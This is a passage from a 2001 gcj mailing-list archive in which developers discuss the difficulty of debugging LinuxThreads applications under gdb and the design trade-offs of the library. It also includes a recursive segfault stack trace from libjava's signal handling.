13 Jul 2001 10:54:10 -0600 In-Reply-To: jpolsonaz@mac.com's message of "Fri, 13 Jul 2001 08:37:20 -0700" Message-ID: <87itgw4vnx.fsf@creche.redhat.com> Lines: 15 X-Mailer: Gnus v5.7/Emacs 20.5 >>>>> ">" == jpolsonaz writes: >> Has anybody tried using IBM's new Linux threading library with GCJ? Not as far as I know. >> My personal experience with the currently released LinuxThreads is >> that multi-threaded applications are almost undebuggable. >> LinuxThreads currently has a bug that causes all threads to wakeup >> from semaphores the first time you connect a debugger to the >> process. Interesting. I wasn't aware of that. Tom From java-return-6475-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 13 17:11:01 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 5879 invoked by alias); 13 Jul 2001 17:11:01 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 5831 invoked from network); 13 Jul 2001 17:10:53 -0000 Received: from unknown (HELO smtpout.mac.com) (204.179.120.88) by sourceware.cygnus.com with SMTP; 13 Jul 2001 17:10:53 -0000 Received: by smtpout.mac.com; Fri, 13 Jul 2001 10:09:36 -0700 (PDT) Message-Id: <200107131709.KAA13773@smtpout.mac.com> Received: from asmtp01.mac.com ([10.13.10.65]) by smtp-relay01.mac.com (Netscape Messaging Server 4.15 relay01 Jun 21 2001 23:53:48) with ESMTP id GGF90000.U7D for ; Fri, 13 Jul 2001 10:09:36 -0700 Received: from g4cube ([12.34.72.7]) by asmtp01.mac.com (Netscape Messaging Server 4.15 asmtp01 Jun 6 2001 13:16:42) with ESMTP id GGF8ZZ00.HQW; Fri, 13 Jul 2001 10:09:35 -0700 Date: Fri, 13 Jul 2001 10:09:05 -0700 From: Jonathan Olson Content-Type: multipart/alternative; boundary=Apple-Mail-344348028-6 Subject: Re: debugging threads vs processes Cc: , "Jeff Sturm" , "Per Bothner" , To: "Cedric Berger" X-Mailer: Apple Mail (2.388) In-Reply-To: <3B4F18E5.A33A0B57@wireless-networks.com> Mime-Version: 1.0 (Apple Message framework v388) --Apple-Mail-344348028-6 Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; format=flowed; charset=iso-8859-1 My experience with JDK/JNI code at least is that the Java virtual = machine either crashes or all Java threads are hopelessly hung on Linux when you=20= attach GDB. This Linux bug doesn't only affect Posix semaphores. Ultimately,=20= the Java monitors invoke Posix monitors and conditions which also wakeup = when you attach the debugger. Having all threads wakeup from blocked = monitors when you attach GDB violates the basic invariant that only one thread = can be within a synchronized section at any given time. On Friday, July 13, 2001, at 08:51 AM, Cedric Berger wrote: > jpolsonaz@mac.com wrote: > > > Has anybody tried using IBM's new Linux threading library with GCJ? > > > > My personal experience with the currently released LinuxThreads is=20= > that > > multi-threaded applications are almost undebuggable. LinuxThreads > > currently has a bug that causes all threads to wakeup from = semaphores > > the first time you connect a debugger to the process. This, of=20 > course, immediately > > crashes most multi-threaded applications since they don't expect to=20= > wake > > up until the semaphore actually gets signaled. > > The "wakeup from semaphore" should not be too much of a problem in = Java, > because properly written Java never blindly trust "semaphores", but = use=20 > code > be written this way: > > synchronized myFunction() { > =A0=A0=A0 while(condition not met) > =A0=A0=A0=A0=A0=A0=A0 object.wait();=A0=A0=A0 // this "semaphore" can = get glitches, it=20 > doesn't matter. > } > > Now, of course, if the "mutex" which is used to implements the=20 > "synchronized" > keyword itself suffers the same problem, this would be a disaster.... > > Anyay, I unfortunately agree with your comments. > Cedric > --Apple-Mail-344348028-6 Content-Transfer-Encoding: quoted-printable Content-Type: text/enriched; charset=iso-8859-1 My experience with JDK/JNI code at least is that the Java virtual machine either crashes or all Java threads are hopelessly hung on Linux when you attach GDB. This Linux bug doesn't only affect Posix semaphores.=20 Ultimately, the Java monitors invoke Posix monitors and conditions which also wakeup when you attach the debugger. Having all threads wakeup from blocked monitors when you attach GDB violates the basic invariant that only one thread can be within a synchronized section at any given time. On Friday, July 13, 2001, at 08:51 AM, Cedric Berger wrote: jpolsonaz@mac.com wrote: > Has anybody tried using IBM's new Linux threading library with GCJ? > > My personal experience with the currently released LinuxThreads is that > multi-threaded applications are almost undebuggable. LinuxThreads > currently has a bug that causes all threads to wakeup from semaphores > the first time you connect a debugger to the process. This, of course, immediately > crashes most multi-threaded applications since they don't expect to wake > up until the semaphore actually gets signaled. The "wakeup from semaphore" should not be too much of a problem in Java, because properly written Java never blindly trust "semaphores", but use code be written this way: synchronized myFunction() { =A0=A0=A0 while(condition not met) =A0=A0=A0=A0=A0=A0=A0 object.wait();=A0=A0=A0 // this "semaphore" can = get glitches, it doesn't matter. } Now, of course, if the "mutex" which is used to implements the "synchronized" keyword itself suffers the same problem, this would be a = disaster.... Anyay, I unfortunately agree with your comments. Cedric = --Apple-Mail-344348028-6-- From java-return-6476-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 13 17:52:58 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 26737 invoked by alias); 13 Jul 2001 17:52:57 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 26703 invoked from network); 13 Jul 2001 17:52:53 -0000 Received: from unknown (HELO deimos.hpl.hp.com) (192.6.19.190) by sourceware.cygnus.com with SMTP; 13 Jul 2001 17:52:53 -0000 Received: from hplms2.hpl.hp.com (hplms2.hpl.hp.com [15.0.152.33]) by deimos.hpl.hp.com (8.9.3 (PHNE_18546)/HPL-PA Relay) with ESMTP id KAA14409; Fri, 13 Jul 2001 10:52:33 -0700 (PDT) Received: from hplex1.hpl.hp.com (hplex1.hpl.hp.com [15.0.152.182]) by hplms2.hpl.hp.com (8.10.2/8.10.2 HPL-PA Hub) with SMTP id f6DHqqt05646; Fri, 13 Jul 2001 10:52:52 -0700 (PDT) Received: from 15.0.152.182 by hplex1.hpl.hp.com (InterScan E-Mail VirusWall NT); Fri, 13 Jul 2001 10:52:51 -0700 (Pacific Daylight Time) Received: by hplex1.hpl.hp.com with Internet Mail Service (5.5.2650.21) id <33TM5HQN>; Fri, 13 Jul 2001 10:52:51 -0700 Message-ID: <140D21516EC2D3119EE7009027876644049B5F20@hplex1.hpl.hp.com> From: "Boehm, Hans" To: "'tromey@redhat.com'" , jpolsonaz@mac.com Cc: Jeff Sturm , Per Bothner , java-discuss@sources.redhat.com Subject: RE: debugging threads vs processes Date: Fri, 13 Jul 2001 10:52:49 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Here are a few other bits of information about linuxthreads, and a partial defense of it: I've had some luck debugging multithreaded applications with the gdb thread support. I agree that it's not reliable, and correct applications sometimes die under gdb. I'd be all in favor of fixing these problems. I tend to avoid single-stepping multithreaded applications under gdb, if there are really multiple simultaneously active threads. I often find myself adding code to the application to detect problems, and then using gdb primarily to look around. But I've also had reasonable luck with breakpoints. As everyone else has already pointed out, Linux threads map directly to processes. In addition the linuxthreads package creates a manager thread/process. I believe this is always the first process created after the main one, and all subsequent processes are children (in the Linux process hierarchy) of the manager thread. My impression is that the gdb thread facilities tend to work better if you attach to the main (original) process, and let it find the others. I have no experience with the IBM package, nor have I seen performance measurements. It may be just what we need. It may also be a very useful alternative that works well in some cases. But I have experience with other m-to-n thread packages, and I'm not immediately enthusiastic about abandoning linuxthreads. The advantages of linuxthreads are: 1) They're relatively simple. Their performance is mostly explicable. If bugs are found they can sometimes be tracked down by mere mortals. The debugger's job is easier than if it has to deal with another mapping. /proc can be used for looking at thread state. Other process-level tools work for threads without additional work. In a pinch, they're debuggable with a thread-unaware debugger. 2) Since threads map directly to processes, threads benefit from any intelligence in the kernel scheduler, e.g. in support of processor affinity. Threads may actually get to keep their cache context for a while. The disadvantages of which I'm aware are: 1) Thread creation for non-blocking threads is more expensive. I don't know if this actually matters much, since most of the m-to-n thread implementations end up creating a kernel thread when a thread blocks in a system call. And I suspect that many applications with large numbers of threads have nearly all of them blocked in the kernel at one point or another. (I believe linuxthreads thread creation performance could also be improved. I believe it currently remaps the thread stack on every thread creation. It should probably keep a cache of recently discarded stacks, instead of eagerly unmapping them. I suspect, but don't know for sure, that this is a significant fraction of thread creation cost.) 2) Thread switching is a bit slower, since it need to go through the kernel. I haven't observed this to be a big factor. 3) Thread scheduling becomes more expensive when there are lots of runnable threads. But I suspect that's mostly because user level thread schedulers tend to be fast and dumb, ignoring processor affinity, and the kernel scheduler tries to do the right thing. Either way you pay, in cache misses or scheduling overhead. Which is better is probably application dependent. I suspect that pluggable kernel schedulers are a better solution. 4) The pthread standard expected user-level scheduling. Linuxthreads seems to have conformance issues near the edges of the spec. I think some of this is fixable. E.g. getpid() could presumably return the pid of the main process if the standards say it should, by having the linuxthreads library override it. It already does that with many other library calls. I personally haven't run into much of an issue with this, though some of the problems are documented. Clearly a comlinuxthreads could use more effort in improving/fixing it. So could gdb. But in general, I've found it to be a well-designed package. (H.J. Lu and I did the original Itanium port, so I'm not saying this entirely out of ignorance.) Disclaimer: This is a personal opinion, not HP's position. There are others within HP who disagree with my opinion. Hans > -----Original Message----- > From: Tom Tromey [mailto:tromey@redhat.com] > Sent: Friday, July 13, 2001 9:54 AM > To: jpolsonaz@mac.com > Cc: Jeff Sturm; Per Bothner; java-discuss@sources.redhat.com > Subject: Re: debugging threads vs processes > > > >>>>> ">" == jpolsonaz writes: > > >> Has anybody tried using IBM's new Linux threading library with GCJ? > > Not as far as I know. > > >> My personal experience with the currently released LinuxThreads is > >> that multi-threaded applications are almost undebuggable. > >> LinuxThreads currently has a bug that causes all threads to wakeup > >> from semaphores the first time you connect a debugger to the > >> process. > > Interesting. I wasn't aware of that. > > Tom > From java-return-6477-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 13 18:12:18 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 626 invoked by alias); 13 Jul 2001 18:12:17 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 606 invoked from network); 13 Jul 2001 18:12:16 -0000 Received: from unknown (HELO poboxer.pobox.com) (199.199.248.19) by sourceware.cygnus.com with SMTP; 13 Jul 2001 18:12:16 -0000 Received: from spanky.love.edu.love.edu (spanky.love.edu [172.30.0.35]) by poboxer.pobox.com (8.9.3/8.9.3) with ESMTP id NAA21505 for ; Fri, 13 Jul 2001 13:08:36 -0500 From: Tony Kimball MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15183.14858.810643.440286@spanky.love.edu> Date: Fri, 13 Jul 2001 13:12:26 -0500 X-Face: \h9Jg:Cuivl4S*UP-)gO.6O=T]]@ncM*tn4zG);)lk#4|lqEx=*talx?.Gk,dMQU2)ptPC17cpBzm(l'M|H8BUF1&]dDCxZ.c~Wy6-j,^V1E(NtX$FpkkdnJixsJHE95JlhO 5\M3jh'YiO7KPCn0~W`Ro44_TB@&JuuqRqgPL'0/{):7rU-%.*@/>q?1&Ed Reply-To: alk@pobox.com To: java@gcc.gnu.org Subject: recursive signal handling X-Mailer: VM 6.89 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid This amusing little stack trace illustrates what I deem to be a problem. Is there a good reason why the signal handler is reinstated during execution? That's usually considered a bad idea. #0 _Jv_IsAssignableFrom(java::lang::Class*, java::lang::Class*) (target=0x0, source=0x8249a60) at ../../../branch/libjava/java/lang/Class.h:176 #1 0x080bd3d2 in _Jv_IsInstanceOf (obj=0x82ccff0, cl=0x0) at ../../../branch/libjava/java/lang/natClass.cc:996 #2 0x080bb4d8 in __gcj_personality_sj0 (version=1, actions=1, exception_class=5138137972373280321, ue_header=0x842b160, context=0xbe5fd710) at ../../../branch/libjava/exception.cc:361 #3 0x080b88f3 in _Unwind_SjLj_RaiseException (exc=0x842b160) at ../../branch/gcc/unwind-sjlj.c:376 #4 0x080bad48 in _Jv_Throw (value=0x82ccff0) at ../../../branch/libjava/exception.cc:110 #5 0x080b8e0c in _Jv_ThrowSignal () at ../../../branch/libjava/prims.cc:120 #6 0x080b8e23 in catch_segv(int) () at ../../../branch/libjava/prims.cc:129 #7 0x0818bf1b in pthread_sighandler (signo=11, ctx= {gs = 0, __gsh = 0, fs = 0, __fsh = 0, es = 43, __esh = 0, ds = 43, __dsh = 0, edi = 0, esi = 0, ebp = 3193952996, esp = 3193952972, ebx = 1, edx = 137154305, ecx = 136616544, eax = 136616544, trapno = 14, err = 4, eip = 134992424, cs = 35, __csh = 0, eflags = 2163206, esp_at_signal = 3193952972, ss = 43, __ssh = 0, fpstate = 0x0, oldmask = 2147483648, cr2 = 12}) at signals.c:97 #8 #9 _Jv_IsAssignableFrom(java::lang::Class*, java::lang::Class*) (target=0x0, source=0x8249a60) at ../../../branch/libjava/java/lang/Class.h:176 #10 0x080bd3d2 in _Jv_IsInstanceOf (obj=0x82ccff0, cl=0x0) at ../../../branch/libjava/java/lang/natClass.cc:996 #11 0x080bb4d8 in __gcj_personality_sj0 (version=1, actions=1, exception_class=5138137972373280321, ue_header=0x842b1e0, context=0xbe5fdba8) at ../../../branch/libjava/exception.cc:361 #12 0x080b88f3 in _Unwind_SjLj_RaiseException (exc=0x842b1e0) at ../../branch/gcc/unwind-sjlj.c:376 #13 0x080bad48 in _Jv_Throw (value=0x82ccff0) at ../../../branch/libjava/exception.cc:110 #14 0x080b8e0c in _Jv_ThrowSignal () at ../../../branch/libjava/prims.cc:120 #15 0x080b8e23 in catch_segv(int) () at ../../../branch/libjava/prims.cc:129 #16 0x0818bf1b in pthread_sighandler (signo=11, ctx= {gs = 0, __gsh = 0, fs = 0, __fsh = 0, es = 43, __esh = 0, ds = 43, __dsh = 0, edi = 0, esi = 0, ebp = 3193954172, esp = 3193954148, ebx = 1, edx = 137154305, ecx = 136616544, eax = 136616544, trapno = 14, err = 4, eip = 134992424, cs = 35, __csh = 0, eflags = 2163206, esp_at_signal = 3193954148, ss = 43, __ssh = 0, fpstate = 0x0, oldmask = 2147483648, cr2 = 12}) at signals.c:97 #17 #18 _Jv_IsAssignableFrom(java::lang::Class*, java::lang::Class*) (target=0x0, source=0x8249a60) at ../../../branch/libjava/java/lang/Class.h:176 #19 0x080bd3d2 in _Jv_IsInstanceOf (obj=0x82ccff0, cl=0x0) at ../../../branch/libjava/java/lang/natClass.cc:996 #20 0x080bb4d8 in __gcj_personality_sj0 (version=1, actions=1, exception_class=5138137972373280321, ue_header=0x842b220, context=0xbe5fe040) at ../../../branch/libjava/exception.cc:361 #21 0x080b88f3 in _Unwind_SjLj_RaiseException (exc=0x842b220) at ../../branch/gcc/unwind-sjlj.c:376 #22 0x080bad48 in _Jv_Throw (value=0x82ccff0) at ../../../branch/libjava/exception.cc:110 #23 0x080b8e0c in _Jv_ThrowSignal () at ../../../branch/libjava/prims.cc:120 #24 0x080b8e23 in catch_segv(int) () at ../../../branch/libjava/prims.cc:129 #25 0x0818bf1b in pthread_sighandler (signo=11, ctx= {gs = 0, __gsh = 0, fs = 0, __fsh = 0, es = 43, __esh = 0, ds = 43, __dsh = 0, edi = 0, esi = 0, ebp = 3193955348, esp = 3193955324, ebx = 1, edx = 137154305, ecx = 136616544, eax = 136616544, trapno = 14, err = 4, eip = 134992424, cs = 35, __csh = 0, eflags = 2163206, esp_at_signal = 3193955324, ss = 43, __ssh = 0, fpstate = 0x0, oldmask = 2147483648, cr2 = 12}) at signals.c:97 #26 #27 _Jv_IsAssignableFrom(java::lang::Class*, java::lang::Class*) (target=0x0, source=0x8249a60) at ../../../branch/libjava/java/lang/Class.h:176 #28 0x080bd3d2 in _Jv_IsInstanceOf (obj=0x82ccff0, cl=0x0) at ../../../branch/libjava/java/lang/natClass.cc:996 #29 0x080bb4d8 in __gcj_personality_sj0 (version=1, actions=1, exception_class=5138137972373280321, ue_header=0x842b260, context=0xbe5fe4d8) at ../../../branch/libjava/exception.cc:361 #30 0x080b88f3 in _Unwind_SjLj_RaiseException (exc=0x842b260) at ../../branch/gcc/unwind-sjlj.c:376 #31 0x080bad48 in _Jv_Throw (value=0x82ccff0) at ../../../branch/libjava/exception.cc:110 #32 0x080b8e0c in _Jv_ThrowSignal () at ../../../branch/libjava/prims.cc:120 #33 0x080b8e23 in catch_segv(int) () at ../../../branch/libjava/prims.cc:129 #34 0x0818bf1b in pthread_sighandler (signo=11, ctx= {gs = 0, __gsh = 0, fs = 0, __fsh = 0, es = 43, __esh = 0, ds = 43, __dsh = 0, edi = 0, esi = 0, ebp = 3193956524, esp = 3193956500, ebx = 1, edx = 137154305, ecx = 136616544, eax = 136616544, trapno = 14, err = 4, eip = 134992424, cs = 35, __csh = 0, eflags = 2163206, esp_at_signal = 3193956500, ss = 43, __ssh = 0, fpstate = 0x0, oldmask = 2147483648, cr2 = 12}) at signals.c:97 #35 #36 _Jv_IsAssignableFrom(java::lang::Class*, java::lang::Class*) (target=0x0, source=0x8249a60) at ../../../branch/libjava/java/lang/Class.h:176 #37 0x080bd3d2 in _Jv_IsInstanceOf (obj=0x82ccff0, cl=0x0) at ../../../branch/libjava/java/lang/natClass.cc:996 #38 0x080bb4d8 in __gcj_personality_sj0 (version=1, actions=1, exception_class=5138137972373280321, ue_header=0x842b460, context=0xbe5fe970) at ../../../branch/libjava/exception.cc:361 #39 0x080b88f3 in _Unwind_SjLj_RaiseException (exc=0x842b460) at ../../branch/gcc/unwind-sjlj.c:376 #40 0x080bad48 in _Jv_Throw (value=0x82ccff0) at ../../../branch/libjava/exception.cc:110 #41 0x080b8e0c in _Jv_ThrowSignal () at ../../../branch/libjava/prims.cc:120 #42 0x080b8e23 in catch_segv(int) () at ../../../branch/libjava/prims.cc:129 #43 0x0818bf1b in pthread_sighandler (signo=11, ctx= {gs = 0, __gsh = 0, fs = 0, __fsh = 0, es = 43, __esh = 0, ds = 43, __dsh = 0, edi = 0, esi = 0, ebp = 3193957700, esp = 3193957676, ebx = 1, edx = 137154305, ecx = 136616544, eax = 136616544, trapno = 14, err = 4, eip = 134992424, cs = 35, __csh = 0, eflags = 2163206, esp_at_signal = 3193957676, ss = 43, __ssh = 0, fpstate = 0x0, oldmask = 2147483648, cr2 = 12}) at signals.c:97 #44 #45 _Jv_IsAssignableFrom(java::lang::Class*, java::lang::Class*) (target=0x0, source=0x8249a60) at ../../../branch/libjava/java/lang/Class.h:176 #46 0x080bd3d2 in _Jv_IsInstanceOf (obj=0x82ccff0, cl=0x0) at ../../../branch/libjava/java/lang/natClass.cc:996 #47 0x080bb4d8 in __gcj_personality_sj0 (version=1, actions=1, exception_class=5138137972373280321, ue_header=0x842b4a0, context=0xbe5fee08) at ../../../branch/libjava/exception.cc:361 #48 0x080b88f3 in _Unwind_SjLj_RaiseException (exc=0x842b4a0) at ../../branch/gcc/unwind-sjlj.c:376 #49 0x080bad48 in _Jv_Throw (value=0x82ccff0) at ../../../branch/libjava/exception.cc:110 #50 0x080b8e0c in _Jv_ThrowSignal () at ../../../branch/libjava/prims.cc:120 #51 0x080b8e23 in catch_segv(int) () at ../../../branch/libjava/prims.cc:129 #52 0x0818bf1b in pthread_sighandler (signo=11, ctx= {gs = 0, __gsh = 0, fs = 0, __fsh = 0, es = 43, __esh = 0, ds = 43, __dsh = 0, edi = 0, esi = 0, ebp = 3193958876, esp = 3193958852, ebx = 1, edx = 137154305, ecx = 136616544, eax = 136616544, trapno = 14, err = 4, eip = 134992424, cs = 35, __csh = 0, eflags = 2163206, esp_at_signal = 3193958852, ss = 43, __ssh = 0, fpstate = 0x0, oldmask = 2147483648, cr2 = 12}) at signals.c:97 #53 #54 _Jv_IsAssignableFrom(java::lang::Class*, java::lang::Class*) (target=0x0, source=0x8249a60) at ../../../branch/libjava/java/lang/Class.h:176 #55 0x080bd3d2 in _Jv_IsInstanceOf (obj=0x82ccff0, cl=0x0) at ../../../branch/libjava/java/lang/natClass.cc:996 #56 0x080bb4d8 in __gcj_personality_sj0 (version=1, actions=1, exception_class=5138137972373280321, ue_header=0x842b520, context=0xbe5ff2a0) at ../../../branch/libjava/exception.cc:361 #57 0x080b88f3 in _Unwind_SjLj_RaiseException (exc=0x842b520) at ../../branch/gcc/unwind-sjlj.c:376 #58 0x080bad48 in _Jv_Throw (value=0x82ccff0) at ../../../branch/libjava/exception.cc:110 #59 0x080b8e0c in _Jv_ThrowSignal () at ../../../branch/libjava/prims.cc:120 #60 0x080b8e23 in catch_segv(int) () at ../../../branch/libjava/prims.cc:129 #61 0x0818bf1b in pthread_sighandler (signo=11, ctx= {gs = 0, __gsh = 0, fs = 0, __fsh = 0, es = 43, __esh = 0, ds = 43, __dsh = 0, edi = 0, esi = 0, ebp = 3193960052, esp = 3193960028, ebx = 1, edx = 137874177, ecx = 136714944, eax = 136714944, trapno = 14, err = 4, eip = 134992424, cs = 35, __csh = 0, eflags = 2163206, esp_at_signal = 3193960028, ss = 43, __ssh = 0, fpstate = 0xbe5ff3e0, oldmask = 2147483648, cr2 = 12}) at signals.c:97 #62 #63 _Jv_IsAssignableFrom(java::lang::Class*, java::lang::Class*) (target=0x0, source=0x8261ac0) at ../../../branch/libjava/java/lang/Class.h:176 #64 0x080bd3d2 in _Jv_IsInstanceOf (obj=0x837cb88, cl=0x0) at ../../../branch/libjava/java/lang/natClass.cc:996 #65 0x080bb4d8 in __gcj_personality_sj0 (version=1, actions=1, exception_class=5138137972373280321, ue_header=0x842b560, context=0xbe5ff738) at ../../../branch/libjava/exception.cc:361 #66 0x080b88f3 in _Unwind_SjLj_RaiseException (exc=0x842b560) at ../../branch/gcc/unwind-sjlj.c:376 #67 0x080bad48 in _Jv_Throw (value=0x837cb88) at ../../../branch/libjava/exception.cc:110 #68 0x0814ae9c in java::util::ResourceBundle::getBundle(java::lang::String*, java::util::Locale*, java::lang::ClassLoader*) () at ../../../branch/libjava/java/util/ResourceBundle.java:206 #69 0x0814ad7d in java.util.ResourceBundle.getBundle(java.lang.String, java.util.Locale) (baseName=0x82cec30, locale=0x837a540) at ../../../branch/libjava/java/util/ResourceBundle.java:183 #70 0x0816c2cb in java.util.Calendar.getInstance(java.util.TimeZone, java.util.Locale) (zone=0x82ce410, locale=0x837a540) at ../../../branch/libjava/java/util/Calendar.java:423 #71 0x0816c00a in java.util.Calendar.getInstance() () at ../../../branch/libjava/java/util/Calendar.java:391 #72 0x08142fd4 in java.util.Date.toString() (this=0x837ac90) at ../../../branch/libjava/java/util/Date.java:258 #73 0x080f6fdc in java.util.Properties.store(java.io.OutputStream, java.lang.String) (this=0x83607a0, out=0x8379690, header=0x0) at ../../../branch/libjava/java/util/Properties.java:308 #74 0x080a0665 in com.swarmcast.util.AsyncPersistentProps.run() ( this=0x8376df8) at com/swarmcast/util/AsyncPersistentProps.java:98 #75 0x080d4114 in java.lang.Thread.run() (this=0x844d320) at ../../../branch/libjava/java/lang/Thread.java:134 #76 0x080c48d1 in java::lang::Thread::run_(java::lang::Object*) (obj=0x844d320) at ../../../branch/libjava/java/lang/natThread.cc:276 #77 0x0811efe2 in really_start(void*) (x=0x8443fb0) at ../../../branch/libjava/posix-threads.cc:374 #78 0x0817bc28 in GC_start_routine (arg=0x8444fe0) at ../../../branch/boehm-gc/linux_threads.c:1305 #79 0x08189ec0 in pthread_start_thread_event (arg=0xbe5ffc00) at manager.c:274 From java-return-6478-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 13 18:16:06 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 3148 invoked by alias); 13 Jul 2001 18:16:06 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 3121 invoked from network); 13 Jul 2001 18:16:06 -0000 Received: from unknown (HELO crewsoft.com) (157.22.214.1) by sourceware.cygnus.com with SMTP; 13 Jul 2001 18:16:06 -0000 Received: from [63.197.8.222] (account cberger@wireless-networks.com HELO wireless-networks.com) by crewsoft.com (CommuniGate Pro SMTP 3.4.7) with ESMTP id 778408; Fri, 13 Jul 2001 11:19:35 -0700 Message-ID: <3B4F3B21.3F686568@wireless-networks.com> Date: Fri, 13 Jul 2001 11:17:05 -0700 From: Cedric Berger X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: "Boehm, Hans" CC: "'tromey@redhat.com'" , jpolsonaz@mac.com, Jeff Sturm , Per Bothner , java-discuss@sources.redhat.com Subject: Re: debugging threads vs processes References: <140D21516EC2D3119EE7009027876644049B5F20@hplex1.hpl.hp.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit "Boehm, Hans" wrote: > Here are a few other bits of information about linuxthreads, and a partial > defense of it: There is clearly good things with LinuxThreads (i.e. simplicity, ...) But as long as, at least... - top - ps - kill - gdb ... are not fixed, and to not really understand the difference between a thread and a process, using multithreaded application in Linux will remain a huge pain. In my opinion, the LinuxThread design (1-1 mapping) is sound, but its implementation is incomplete and not ready for prime time use. Cedric From java-return-6479-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 13 18:17:40 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 4480 invoked by alias); 13 Jul 2001 18:17:40 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 4386 invoked from network); 13 Jul 2001 18:17:36 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (195.224.55.237) by sourceware.cygnus.com with SMTP; 13 Jul 2001 18:17:36 -0000 Received: from cuddles.cambridge.redhat.com (cuddles.cambridge.redhat.com [172.16.18.86]) by executor.cambridge.redhat.com (Postfix) with ESMTP id 9FFD3ABB01; Fri, 13 Jul 2001 19:17:35 +0100 (BST) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.0/8.11.0) id f6DIHZD22033; Fri, 13 Jul 2001 19:17:35 +0100 X-Authentication-Warning: cuddles.cambridge.redhat.com: aph set sender to aph@cambridge.redhat.com using -f From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15183.15167.142932.680601@cuddles.cambridge.redhat.com> Date: Fri, 13 Jul 2001 19:17:35 +0100 (BST) To: alk@pobox.com Cc: java@gcc.gnu.org Subject: recursive signal handling In-Reply-To: <15183.14858.810643.440286@spanky.love.edu> References: <15183.14858.810643.440286@spanky.love.edu> X-Mailer: VM 6.75 under Emacs 20.7.1 Tony Kimball writes: > > This amusing little stack trace illustrates what I deem to be a > problem. This is probably related to the problem Martin Kahlert posted a patch for earler today. > Is there a good reason why the signal handler > is reinstated during execution? Is it? Where? Andrew. From java-return-6480-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 13 18:34:27 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 12516 invoked by alias); 13 Jul 2001 18:34:26 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 12495 invoked from network); 13 Jul 2001 18:34:26 -0000 Received: from unknown (HELO bothner.com) (216.102.199.253) by sourceware.cygnus.com with SMTP; 13 Jul 2001 18:34:26 -0000 Received: (from bothner@localhost) by bothner.com (8.11.0/8.11.0) id f6DIbSK22815; Fri, 13 Jul 2001 11:37:28 -0700 X-Authentication-Warning: bothner.com: bothner set sender to per@bothner.com using -f To: Jeff Sturm Cc: java-discuss@sources.redhat.com Subject: Re: debugging threads vs processes References: From: Per Bothner Date: 13 Jul 2001 11:37:28 -0700 In-Reply-To: Message-ID: Lines: 13 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.4 (Academic Rigor) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Jeff Sturm writes: Jeff Sturm writes: > Does it make a difference if you LD_PRELOAD libgcjgc.so? Yes - it causes the server to die after even fewer reloads :-( I'll try staticly linking in my module plus explicitly adding the various libraries - as soon as I figure out the Makefile! -- --Per Bothner per@bothner.com http://www.bothner.com/per/ From java-return-6481-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 13 18:52:25 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 21220 invoked by alias); 13 Jul 2001 18:52:25 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 21168 invoked from network); 13 Jul 2001 18:52:22 -0000 Received: from unknown (HELO cygnus.com) (205.180.230.5) by sourceware.cygnus.com with SMTP; 13 Jul 2001 18:52:22 -0000 Received: from fencer.cygnus.com (fencer.cygnus.com [205.180.230.60]) by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id LAA00144; Fri, 13 Jul 2001 11:52:22 -0700 (PDT) Received: (apbianco@localhost) by fencer.cygnus.com (8.9.3/8.6.4) id LAA12043; Fri, 13 Jul 2001 11:52:22 -0700 From: Alexandre Petit-Bianco MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="tlJuNKtkfH" 